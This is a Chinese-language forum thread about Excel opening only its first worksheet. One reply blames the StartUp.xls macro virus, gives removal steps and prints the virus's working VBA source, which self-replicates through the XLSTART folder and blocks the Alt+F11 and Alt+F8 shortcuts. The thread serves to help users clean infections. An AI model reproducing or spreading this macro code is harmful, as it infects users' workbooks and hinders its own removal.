求助！Excel表只能打开第一个工作薄。

maffff

KARLOER1025 发表于 2011-10-15 10:32
前几个月我也遇到过，我把后面的表挪到前面就可以打开了

就这样情况把后面挪到前面也可以编辑，但是新打开excel表有出现这个问题

铁山人的儿子

请问解决没有?我也遇到了同样的问题，其他工作表都正常，在其他电脑上也是正常的。谢谢！

「芝麻官」

刚在论坛上找到解决方式了，而且已经解决了。
提醒：近来在论坛上感染StartUp.xls宏病毒。

中毒现象：excel文件一打开，不管是新建还是打开xls文件，就会自动copy到新建文件或者打开的xls文件。

解药良方：
1、删除以下目录的StartUp.xls文件
C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART\StartUp.xls

2、在打开感染StartUp.xls宏病毒的excel文件时，不启动宏。并删除StartUp模块。


以下为宏病毒代码（不得运行！！！）
-------------------------------------------------------
Sub auto_open1()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
-------------------------------------------------------
Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
-------------------------------------------------------

「芝麻官」

我也遇到相同的问题
重装系统不行
重装office也不行
宏的安全级别无论设置成怎么样都不行
求高手解答

ting8

遇到了同样的问题，谢谢分享解决方法

从头再来2012

关注，又学到了一招。

佛山小老鼠

删除这两个文件夹里的文件就OK了
1.C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART
2.C:\Program Files\Microsoft Office\OFFICE11\XLSTART